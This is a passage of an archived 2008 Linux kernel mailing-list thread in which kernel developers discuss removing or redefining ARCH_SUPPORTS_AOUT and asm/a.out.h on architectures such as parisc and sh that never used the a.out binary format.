        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Woodhouse <dwmw2@infradead.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: Re: architectures with ARCH_SUPPORTS_AOUT but no binfmt_aout
Date: Tue, 17 Jun 2008 10:46:44 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <1213696004.26255.960.camel@pmac.infradead.org>
References: <1213565555.26255.522.camel@pmac.infradead.org>
	 <1213604973-7073-1-git-send-email-jacmet@sunsite.dk>
	 <1213617663.26255.708.camel@pmac.infradead.org>
	 <20080616121727.GB10854@cs181133002.pp.htv.fi>
	 <1213619214.26255.721.camel@pmac.infradead.org>
	 <20080617084235.GA20169@cs181133002.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1213696069 10059 80.91.229.12 (17 Jun 2008 09:47:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Jun 2008 09:47:49 +0000 (UTC)
Cc: Peter Korsgaard <jacmet@sunsite.dk>, linux-kernel@vger.kernel.org,
	sam@ravnborg.org, dhowells@redhat.com, andi@firstfloor.org,
	"Kirill A. Shutemov" <k.shutemov@gmail.com>,
	ysato@users.sourceforge.jp, takata@linux-m32r.org,
	linux-m32r@ml.linux-m32r.org, kyle@mcmartin.ca, matthew@wil.cx,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	lethal@linux-sh.org, linux-sh@vger.kernel.org,
	linux-arch@vger.kernel.org
To: Adrian Bunk <bunk@kernel.org>
Original-X-From: linux-arch-owner@vger.kernel.org Tue Jun 17 11:48:30 2008
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K8Xni-00070f-Eu
	for glka-linux-arch@gmane.org; Tue, 17 Jun 2008 11:48:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751987AbYFQJrj (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Tue, 17 Jun 2008 05:47:39 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754299AbYFQJrj
	(ORCPT <rfc822;linux-arch-outgoing>);
	Tue, 17 Jun 2008 05:47:39 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:33944 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751987AbYFQJrh (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Tue, 17 Jun 2008 05:47:37 -0400
Original-Received: from pmac.infradead.org ([2001:8b0:10b:1:20d:93ff:fe7a:3f2c])
	by bombadil.infradead.org with esmtpsa (Exim 4.68 #1 (Red Hat Linux))
	id 1K8Xm4-0005fr-KY; Tue, 17 Jun 2008 09:46:49 +0000
In-Reply-To: <20080617084235.GA20169@cs181133002.pp.htv.fi>
X-Mailer: Evolution 2.22.1 (2.22.1-2.fc9) 
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:1451 gmane.linux.kernel:694779 gmane.linux.ports.parisc:417 gmane.linux.ports.sh.devel:4014
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/417>

On Tue, 2008-06-17 at 11:42 +0300, Adrian Bunk wrote:
> 
> > Why _are_ there architectures which define ARCH_SUPPORTS_AOUT and have
> > <asm/a.out.h> but don't support binfmt_aout, anyway? How does that make
> > sense?
> 
> My guess would be that binfmt_aout isn't actually used there.
> 
> The affected architectures are:
> - h8300
> - m32r
> - parisc
> - sh
> - v850
> 
> v850 is broken beyond repair, and I hope my patch to remove the 
> architecture will make it into 2.6.27.
> 
> For the other 4 architectures I have Cc'ed the architecture maintainers.

There's another set of architectures which have <asm/a.out.h> but don't
define ARCH_SUPPORTS_AOUT. Including PowerPC.

I think we can probably get away with removing <asm/a.out.h> from every
architecture other than Alpha, ARM, m68k and x86, and killing
ARCH_SUPPORTS_AOUT completely.

Or maybe, as dhowells suggests, re-defining ARCH_SUPPORTS_AOUT to be set
only on Alpha, ARM, m68k and x86 (so BINFMT_AOUT can depend on it).

-- 
dwmw2


From - Thu Nov 08 21:02:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@kernel.org>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: architectures with ARCH_SUPPORTS_AOUT but no binfmt_aout
Date: Tue, 17 Jun 2008 13:11:12 +0300
Lines: 54
Approved: news@gmane.org
Message-ID: <20080617101112.GE20169@cs181133002.pp.htv.fi>
References: <1213565555.26255.522.camel@pmac.infradead.org> <1213604973-7073-1-git-send-email-jacmet@sunsite.dk> <1213617663.26255.708.camel@pmac.infradead.org> <20080616121727.GB10854@cs181133002.pp.htv.fi> <1213619214.26255.721.camel@pmac.infradead.org> <20080617084235.GA20169@cs181133002.pp.htv.fi> <1213696004.26255.960.camel@pmac.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1213697571 15575 80.91.229.12 (17 Jun 2008 10:12:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Jun 2008 10:12:51 +0000 (UTC)
Cc: Peter Korsgaard <jacmet@sunsite.dk>, linux-kernel@vger.kernel.org,
	sam@ravnborg.org, dhowells@redhat.com, andi@firstfloor.org,
	"Kirill A. Shutemov" <k.shutemov@gmail.com>,
	ysato@users.sourceforge.jp, takata@linux-m32r.org,
	linux-m32r@ml.linux-m32r.org, kyle@mcmartin.ca, matthew@wil.cx,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	lethal@linux-sh.org, linux-sh@vger.kernel.org,
	linux-arch@vger.kernel.org
To: David Woodhouse <dwmw2@infradead.org>
Original-X-From: linux-sh-owner@vger.kernel.org Tue Jun 17 12:13:33 2008
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K8YBu-000885-GY
	for glps-linuxsh-dev@gmane.org; Tue, 17 Jun 2008 12:13:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754356AbYFQKMi (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Tue, 17 Jun 2008 06:12:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754252AbYFQKMi
	(ORCPT <rfc822;linux-sh-outgoing>); Tue, 17 Jun 2008 06:12:38 -0400
Original-Received: from smtp6.pp.htv.fi ([213.243.153.40]:38599 "EHLO smtp6.pp.htv.fi"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752612AbYFQKMg (ORCPT <rfc822;linux-sh@vger.kernel.org>);
	Tue, 17 Jun 2008 06:12:36 -0400
Original-Received: from cs181133002.pp.htv.fi (cs181140183.pp.htv.fi [82.181.140.183])
	by smtp6.pp.htv.fi (Postfix) with ESMTP id 7593D5BC059;
	Tue, 17 Jun 2008 13:12:35 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <1213696004.26255.960.camel@pmac.infradead.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:4015 gmane.linux.kernel:694783 gmane.linux.ports.parisc:418 gmane.linux.kernel.cross-arch:1452
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/418>

On Tue, Jun 17, 2008 at 10:46:44AM +0100, David Woodhouse wrote:
> On Tue, 2008-06-17 at 11:42 +0300, Adrian Bunk wrote:
> > 
> > > Why _are_ there architectures which define ARCH_SUPPORTS_AOUT and have
> > > <asm/a.out.h> but don't support binfmt_aout, anyway? How does that make
> > > sense?
> > 
> > My guess would be that binfmt_aout isn't actually used there.
> > 
> > The affected architectures are:
> > - h8300
> > - m32r
> > - parisc
> > - sh
> > - v850
> > 
> > v850 is broken beyond repair, and I hope my patch to remove the 
> > architecture will make it into 2.6.27.
> > 
> > For the other 4 architectures I have Cc'ed the architecture maintainers.
> 
> There's another set of architectures which have <asm/a.out.h> but don't
> define ARCH_SUPPORTS_AOUT. Including PowerPC.
> 
> I think we can probably get away with removing <asm/a.out.h> from every
> architecture other than Alpha, ARM, m68k and x86, and killing
> ARCH_SUPPORTS_AOUT completely.

include/linux/a.out.h contains an #include <asm/a.out.h> and is exported 
to userspace...

> Or maybe, as dhowells suggests, re-defining ARCH_SUPPORTS_AOUT to be set
> only on Alpha, ARM, m68k and x86 (so BINFMT_AOUT can depend on it).

The pattern for this stuff is to provide a HAVE_AOUT kconfig variable 
that gets select'ed by these architectures.

> dwmw2

cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Woodhouse <dwmw2@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: architectures with ARCH_SUPPORTS_AOUT but no binfmt_aout
Date: Tue, 17 Jun 2008 11:18:45 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <1213697925.26255.969.camel@pmac.infradead.org>
References: <1213565555.26255.522.camel@pmac.infradead.org>
	 <1213604973-7073-1-git-send-email-jacmet@sunsite.dk>
	 <1213617663.26255.708.camel@pmac.infradead.org>
	 <20080616121727.GB10854@cs181133002.pp.htv.fi>
	 <1213619214.26255.721.camel@pmac.infradead.org>
	 <20080617084235.GA20169@cs181133002.pp.htv.fi>
	 <1213696004.26255.960.camel@pmac.infradead.org>
	 <20080617101112.GE20169@cs181133002.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1213697981 16988 80.91.229.12 (17 Jun 2008 10:19:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Jun 2008 10:19:41 +0000 (UTC)
Cc: Peter Korsgaard <jacmet@sunsite.dk>, linux-kernel@vger.kernel.org,
	sam@ravnborg.org, dhowells@redhat.com, andi@firstfloor.org,
	"Kirill A. Shutemov" <k.shutemov@gmail.com>,
	ysato@users.sourceforge.jp, takata@linux-m32r.org,
	linux-m32r@ml.linux-m32r.org, kyle@mcmartin.ca, matthew@wil.cx,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	lethal@linux-sh.org, linux-sh@vger.kernel.org,
	linux-arch@vger.kernel.org
To: Adrian Bunk <bunk@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 17 12:20:21 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K8YIA-00029x-0z
	for glpp-linux-parisc@gmane.org; Tue, 17 Jun 2008 12:19:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754118AbYFQKTG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 17 Jun 2008 06:19:06 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752893AbYFQKTG
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 17 Jun 2008 06:19:06 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:35597 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751353AbYFQKTE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 17 Jun 2008 06:19:04 -0400
Original-Received: from pmac.infradead.org ([2001:8b0:10b:1:20d:93ff:fe7a:3f2c])
	by bombadil.infradead.org with esmtpsa (Exim 4.68 #1 (Red Hat Linux))
	id 1K8YH3-0004Dg-3R; Tue, 17 Jun 2008 10:18:49 +0000
In-Reply-To: <20080617101112.GE20169@cs181133002.pp.htv.fi>
X-Mailer: Evolution 2.22.1 (2.22.1-2.fc9) 
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:419 gmane.linux.kernel:694785 gmane.linux.ports.sh.devel:4016 gmane.linux.kernel.cross-arch:1453
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/419>

On Tue, 2008-06-17 at 13:11 +0300, Adrian Bunk wrote:
> On Tue, Jun 17, 2008 at 10:46:44AM +0100, David Woodhouse wrote:
> > On Tue, 2008-06-17 at 11:42 +0300, Adrian Bunk wrote:
> > > 
> > > > Why _are_ there architectures which define ARCH_SUPPORTS_AOUT and have
> > > > <asm/a.out.h> but don't support binfmt_aout, anyway? How does that make
> > > > sense?
> > > 
> > > My guess would be that binfmt_aout isn't actually used there.
> > > 
> > > The affected architectures are:
> > > - h8300
> > > - m32r
> > > - parisc
> > > - sh
> > > - v850
> > > 
> > > v850 is broken beyond repair, and I hope my patch to remove the 
> > > architecture will make it into 2.6.27.
> > > 
> > > For the other 4 architectures I have Cc'ed the architecture maintainers.
> > 
> > There's another set of architectures which have <asm/a.out.h> but don't
> > define ARCH_SUPPORTS_AOUT. Including PowerPC.
> > 
> > I think we can probably get away with removing <asm/a.out.h> from every
> > architecture other than Alpha, ARM, m68k and x86, and killing
> > ARCH_SUPPORTS_AOUT completely.
> 
> include/linux/a.out.h contains an #include <asm/a.out.h> and is exported 
> to userspace...

Actually, it isn't -- but it _should_ be. But we can do it conditionally.
See http://git.infradead.org/users/dwmw2/aout-2.6.git?a=commitdiff;h=5939c6a41

> > Or maybe, as dhowells suggests, re-defining ARCH_SUPPORTS_AOUT to be set
> > only on Alpha, ARM, m68k and x86 (so BINFMT_AOUT can depend on it).
> 
> The pattern for this stuff is to provide a HAVE_AOUT kconfig variable 
> that gets select'ed by these architectures.

Or that; it doesn't really matter. I was about to remove
ARCH_SUPPORTS_AOUT completely, but David suggested that it could be used
to kill that hard-coded '(X86_32 || ALPHA || ARM || M68K)' in
fs/Kconfig.binfmt.


-- 
dwmw2

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: architectures with ARCH_SUPPORTS_AOUT but no binfmt_aout
Date: Tue, 17 Jun 2008 13:24:15 +0300
Lines: 59
Approved: news@gmane.org
Message-ID: <20080617102415.GA30239@cs181133002.pp.htv.fi>
References: <1213565555.26255.522.camel@pmac.infradead.org> <1213604973-7073-1-git-send-email-jacmet@sunsite.dk> <1213617663.26255.708.camel@pmac.infradead.org> <20080616121727.GB10854@cs181133002.pp.htv.fi> <1213619214.26255.721.camel@pmac.infradead.org> <20080617084235.GA20169@cs181133002.pp.htv.fi> <1213696004.26255.960.camel@pmac.infradead.org> <20080617101112.GE20169@cs181133002.pp.htv.fi> <1213697925.26255.969.camel@pmac.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1213698353 18440 80.91.229.12 (17 Jun 2008 10:25:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Jun 2008 10:25:53 +0000 (UTC)
Cc: Peter Korsgaard <jacmet@sunsite.dk>, linux-kernel@vger.kernel.org,
	sam@ravnborg.org, dhowells@redhat.com, andi@firstfloor.org,
	"Kirill A. Shutemov" <k.shutemov@gmail.com>,
	ysato@users.sourceforge.jp, takata@linux-m32r.org,
	linux-m32r@ml.linux-m32r.org, kyle@mcmartin.ca, matthew@wil.cx,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	lethal@linux-sh.org, linux-sh@vger.kernel.org,
	linux-arch@vger.kernel.org
To: David Woodhouse <dwmw2@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 17 12:26:34 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K8YOX-0004rn-MP
	for glpp-linux-parisc@gmane.org; Tue, 17 Jun 2008 12:26:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754611AbYFQKZk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 17 Jun 2008 06:25:40 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754558AbYFQKZk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 17 Jun 2008 06:25:40 -0400
Original-Received: from smtp5.pp.htv.fi ([213.243.153.39]:36010 "EHLO smtp5.pp.htv.fi"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754375AbYFQKZj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 17 Jun 2008 06:25:39 -0400
Original-Received: from cs181133002.pp.htv.fi (cs181140183.pp.htv.fi [82.181.140.183])
	by smtp5.pp.htv.fi (Postfix) with ESMTP id 1F7D65BC095;
	Tue, 17 Jun 2008 13:25:38 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <1213697925.26255.969.camel@pmac.infradead.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:420 gmane.linux.kernel:694786 gmane.linux.ports.sh.devel:4017 gmane.linux.kernel.cross-arch:1454
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/420>

On Tue, Jun 17, 2008 at 11:18:45AM +0100, David Woodhouse wrote:
> On Tue, 2008-06-17 at 13:11 +0300, Adrian Bunk wrote:
> > On Tue, Jun 17, 2008 at 10:46:44AM +0100, David Woodhouse wrote:
> > > On Tue, 2008-06-17 at 11:42 +0300, Adrian Bunk wrote:
> > > > 
> > > > > Why _are_ there architectures which define ARCH_SUPPORTS_AOUT and have
> > > > > <asm/a.out.h> but don't support binfmt_aout, anyway? How does that make
> > > > > sense?
> > > > 
> > > > My guess would be that binfmt_aout isn't actually used there.
> > > > 
> > > > The affected architectures are:
> > > > - h8300
> > > > - m32r
> > > > - parisc
> > > > - sh
> > > > - v850
> > > > 
> > > > v850 is broken beyond repair, and I hope my patch to remove the 
> > > > architecture will make it into 2.6.27.
> > > > 
> > > > For the other 4 architectures I have Cc'ed the architecture maintainers.
> > > 
> > > There's another set of architectures which have <asm/a.out.h> but don't
> > > define ARCH_SUPPORTS_AOUT. Including PowerPC.
> > > 
> > > I think we can probably get away with removing <asm/a.out.h> from every
> > > architecture other than Alpha, ARM, m68k and x86, and killing
> > > ARCH_SUPPORTS_AOUT completely.
> > 
> > include/linux/a.out.h contains an #include <asm/a.out.h> and is exported 
> > to userspace...
> 
> Actually, it isn't -- but it _should_ be. But we can do it conditionally.
> See http://git.infradead.org/users/dwmw2/aout-2.6.git?a=commitdiff;h=5939c6a41
>...

It's already in Linus' tree.

Sorry, you are right, I missed that it takes care of exporting 
linux/a.out.h only when asm/a.out.h exists.

> dwmw2

cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: architectures with ARCH_SUPPORTS_AOUT but no binfmt_aout
Date: Tue, 17 Jun 2008 05:28:36 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20080617112835.GB4392@parisc-linux.org>
References: <1213565555.26255.522.camel@pmac.infradead.org> <1213604973-7073-1-git-send-email-jacmet@sunsite.dk> <1213617663.26255.708.camel@pmac.infradead.org> <20080616121727.GB10854@cs181133002.pp.htv.fi> <1213619214.26255.721.camel@pmac.infradead.org> <20080617084235.GA20169@cs181133002.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1213702229 31313 80.91.229.12 (17 Jun 2008 11:30:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Jun 2008 11:30:29 +0000 (UTC)
Cc: David Woodhouse <dwmw2@infradead.org>,
	Peter Korsgaard <jacmet@sunsite.dk>,
	linux-kernel@vger.kernel.org, sam@ravnborg.org,
	dhowells@redhat.com, andi@firstfloor.org,
	"Kirill A. Shutemov" <k.shutemov@gmail.com>,
	ysato@users.sourceforge.jp, takata@linux-m32r.org,
	linux-m32r@ml.linux-m32r.org, kyle@mcmartin.ca,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	lethal@linux-sh.org, linux-sh@vger.kernel.org
To: Adrian Bunk <bunk@kernel.org>
Original-X-From: linux-sh-owner@vger.kernel.org Tue Jun 17 13:31:10 2008
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K8ZP3-0007dR-38
	for glps-linuxsh-dev@gmane.org; Tue, 17 Jun 2008 13:31:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752837AbYFQL3l (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Tue, 17 Jun 2008 07:29:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754708AbYFQL2y
	(ORCPT <rfc822;linux-sh-outgoing>); Tue, 17 Jun 2008 07:28:54 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:39860 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751386AbYFQL2x (ORCPT
	<rfc822;linux-sh@vger.kernel.org>); Tue, 17 Jun 2008 07:28:53 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 5CD83494005; Tue, 17 Jun 2008 05:28:36 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080617084235.GA20169@cs181133002.pp.htv.fi>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:4018 gmane.linux.kernel:694794 gmane.linux.ports.parisc:421
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/421>

On Tue, Jun 17, 2008 at 11:42:35AM +0300, Adrian Bunk wrote:
> On Mon, Jun 16, 2008 at 01:26:54PM +0100, David Woodhouse wrote:
> > Why _are_ there architectures which define ARCH_SUPPORTS_AOUT and have
> > <asm/a.out.h> but don't support binfmt_aout, anyway? How does that make
> > sense?
> 
> My guess would be that binfmt_aout isn't actually used there.

It was probably copied from MIPS in the early days of the parisc port
and nobody ever b othered to look at it before.  There was never an
a.out format for parisc.

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Woodhouse <dwmw2@infradead.org>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: architectures with ARCH_SUPPORTS_AOUT but no binfmt_aout
Date: Tue, 17 Jun 2008 12:28:33 +0100
Lines: 102
Approved: news@gmane.org
Message-ID: <1213702113.26255.996.camel@pmac.infradead.org>
References: <1213565555.26255.522.camel@pmac.infradead.org>
	 <1213604973-7073-1-git-send-email-jacmet@sunsite.dk>
	 <1213617663.26255.708.camel@pmac.infradead.org>
	 <20080616121727.GB10854@cs181133002.pp.htv.fi>
	 <1213619214.26255.721.camel@pmac.infradead.org>
	 <20080617084235.GA20169@cs181133002.pp.htv.fi>
	 <1213696004.26255.960.camel@pmac.infradead.org>
	 <20080617101112.GE20169@cs181133002.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1213702232 31327 80.91.229.12 (17 Jun 2008 11:30:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Jun 2008 11:30:32 +0000 (UTC)
Cc: Peter Korsgaard <jacmet@sunsite.dk>, linux-kernel@vger.kernel.org,
	sam@ravnborg.org, dhowells@redhat.com, andi@firstfloor.org,
	"Kirill A. Shutemov" <k.shutemov@gmail.com>,
	ysato@users.sourceforge.jp, takata@linux-m32r.org,
	linux-m32r@ml.linux-m32r.org, kyle@mcmartin.ca, matthew@wil.cx,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	lethal@linux-sh.org, linux-sh@vger.kernel.org,
	linux-arch@vger.kernel.org
To: Adrian Bunk <bunk@kernel.org>
Original-X-From: linux-sh-owner@vger.kernel.org Tue Jun 17 13:31:12 2008
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K8ZP5-0007dR-H7
	for glps-linuxsh-dev@gmane.org; Tue, 17 Jun 2008 13:31:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757084AbYFQL3n (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Tue, 17 Jun 2008 07:29:43 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755065AbYFQL25
	(ORCPT <rfc822;linux-sh-outgoing>); Tue, 17 Jun 2008 07:28:57 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:51639 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752757AbYFQL2y (ORCPT
	<rfc822;linux-sh@vger.kernel.org>); Tue, 17 Jun 2008 07:28:54 -0400
Original-Received: from pmac.infradead.org ([2001:8b0:10b:1:20d:93ff:fe7a:3f2c])
	by bombadil.infradead.org with esmtpsa (Exim 4.68 #1 (Red Hat Linux))
	id 1K8ZMb-00085y-Ey; Tue, 17 Jun 2008 11:28:37 +0000
In-Reply-To: <20080617101112.GE20169@cs181133002.pp.htv.fi>
X-Mailer: Evolution 2.22.1 (2.22.1-2.fc9) 
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by bombadil.infradead.org
